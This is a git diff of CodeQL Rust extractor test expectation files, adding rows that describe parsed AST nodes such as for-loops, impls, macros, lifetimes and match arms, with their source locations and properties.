b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected index e69de29bb2d1..afe5349abb52 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasIterable: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected index e69de29bb2d1..d73979b6df8a 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:14:7:18 | 0..10 | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected index e69de29bb2d1..d0460f8ed7a4 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:20:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected index e69de29bb2d1..44c312073f9c 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:9:7:9 | x | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected index e69de29bb2d1..6adad498f31d 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | hasGenericParamList: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected index e69de29bb2d1..0cb4ba872092 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:15:9:18 | <...> | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected index e69de29bb2d1..14610d6319f8 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:20:9:41 | Fn | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected index e69de29bb2d1..5297703e7d86 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isConst: | no | isDefault: | no | isUnsafe: | no | hasSelfTy: | yes | hasTrait: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected index e69de29bb2d1..ae3d1f4a97f2 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:29:9:5 | AssocItemList | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected index e69de29bb2d1..3d38010c592a 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:22:7:27 | MyType | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected index e69de29bb2d1..9c0392972e1a 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:10:7:16 | MyTrait | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected index e69de29bb2d1..27a8426d9c2c 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d1..fbab626faa29 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | gen_impl_trait_type_repr.rs:7:22:7:41 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected index e69de29bb2d1..7078443bf004 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected @@ -0,0 +1 @@ +| gen_infer_type_repr.rs:7:12:7:12 | _ | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected index e69de29bb2d1..482eff5695c1 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected @@ -0,0 +1 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | getNumberOfAttrs: | 0 | getNumberOfItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected index e69de29bb2d1..1ea2c7b8fc7f 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected @@ -0,0 +1,2 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | 0 | gen_item_list.rs:8:9:8:19 | fn foo | +| gen_item_list.rs:7:11:10:5 | ItemList | 1 | gen_item_list.rs:9:9:9:17 | struct S | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected index e69de29bb2d1..64b1e39e01d4 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | hasBlockExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected index e69de29bb2d1..0083f6a3df57 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | gen_let_else.rs:7:28:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected index e69de29bb2d1..bb57ab8de874 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | hasText: | yes | +| gen_lifetime.rs:7:20:7:21 | 'a | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected index e69de29bb2d1..3570dcab91a0 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | 'a | +| gen_lifetime.rs:7:20:7:21 | 'a | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected index e69de29bb2d1..07554eee9bcd 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | hasLifetime: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected index e69de29bb2d1..598bae0390f5 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | gen_lifetime_arg.rs:7:20:7:21 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected index e69de29bb2d1..2055797b2fd6 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | getNumberOfAttrs: | 0 | hasLifetime: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected index e69de29bb2d1..1d1bc5bf0b02 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | gen_lifetime_param.rs:7:12:7:13 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index 915d6847799e..1192db0ba7ea 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:5:7:29 | println!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected index f4bb40db46b8..e93d36c8ac27 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:11 | MacroBlockExpr | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:14:7:28 | MacroBlockExpr | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | FormatArgsExpr | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected index 23762715c9a2..0f17b0ddd121 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:8 | todo | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:5:7:11 | println | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:5:7:29 | ...::format_args_nl | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected index d2ed004ecc43..833429dd94fe 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:10:5:11 | TokenTree | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:13:7:29 | TokenTree | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected index e69de29bb2d1..2aa118cbfbc4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasArgs: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasName: | yes | hasVisibility: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected index e69de29bb2d1..fecd14ff2baa 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:25:7:39 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected index e69de29bb2d1..776a64f484a0 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:41:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected index e69de29bb2d1..7b7e532ab2e4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:15:7:24 | vec_of_two | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected index e69de29bb2d1..74234db763b6 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:5:7:7 | Visibility | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected index 79f6d26b811b..819ac71ef403 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | hasMacroCall: | yes | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected index c1815adac090..493f2f882918 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | gen_macro_expr.rs:5:5:5:11 | todo!... | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | gen_macro_expr.rs:7:13:7:25 | vec!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index 1e909c533790..b56789484ffd 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -1 +1 @@ -| gen_macro_pat.rs:8:9:8:19 | MacroPat | hasMacroCall: | yes | +| gen_macro_pat.rs:13:9:13:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index 5cdbd40580e5..faa6c1d7e6d4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_pat.rs:8:9:8:19 | MacroPat | gen_macro_pat.rs:8:9:8:19 | my_macro!... | +| gen_macro_pat.rs:13:9:13:19 | MacroPat | gen_macro_pat.rs:13:9:13:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected index e69de29bb2d1..db582f99f87f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasName: | yes | hasTokenTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected index e69de29bb2d1..08044386ded5 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:18:5:25 | my_macro | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected index e69de29bb2d1..9aafcc373892 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:27:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index 72e1e6d6fda6..2f91b7f8d007 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -1 +1 @@ -| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | hasMacroCall: | yes | +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index af3a4e76d1f9..896e3e199b2c 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | gen_macro_type_repr.rs:7:14:7:26 | macro_type!... | +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | gen_macro_type_repr.rs:10:14:10:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected index e69de29bb2d1..8a796ef9a55b 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected @@ -0,0 +1 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | getNumberOfArms: | 3 | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected index e69de29bb2d1..5a53f429e983 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected @@ -0,0 +1,3 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 0 | gen_match_arm_list.rs:8:9:8:19 | 1 => "one" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 1 | gen_match_arm_list.rs:9:9:9:19 | 2 => "two" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 2 | gen_match_arm_list.rs:10:9:10:21 | _ => "other" | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected index e69de29bb2d1..2005c2a1c3df 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected index e69de29bb2d1..e6d76089e714 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | gen_match_guard.rs:8:14:8:18 | ... > ... | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected index e69de29bb2d1..0aa36a59d61a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | hasExpr: | yes | isUnsafe: | yes | hasPath: | yes | hasTokenTree: | no | +| gen_meta.rs:9:7:9:72 | Meta | hasExpr: | no | isUnsafe: | no | hasPath: | yes | hasTokenTree: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected index e69de29bb2d1..b4c0ec937342 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected @@ -0,0 +1 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:27:7:45 | "reason_for_bypass" | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected index e69de29bb2d1..ad4a23a5e2a7 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:14:7:23 | ...::name | +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:7:9:16 | deprecated | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected index e69de29bb2d1..ffeca33dd3a3 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected @@ -0,0 +1 @@ +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:17:9:72 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name.expected b/rust/ql/test/extractor-tests/generated/Name/Name.expected index 37d1c2e1dd4f..28a23a6d392e 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | hasText: | yes | +| gen_name.rs:7:9:7:11 | foo | hasText: | yes | | lib.rs:1:5:1:12 | gen_name | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected index 9cee64fd236e..3098a78003bd 100644 --- a/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Name/Name_getText.expected @@ -1,2 +1,3 @@ | gen_name.rs:3:4:3:12 | test_name | test_name | +| gen_name.rs:7:9:7:11 | foo | foo | | lib.rs:1:5:1:12 | gen_name | gen_name | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index 2c0b9dffa4d2..c53970b943b4 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ 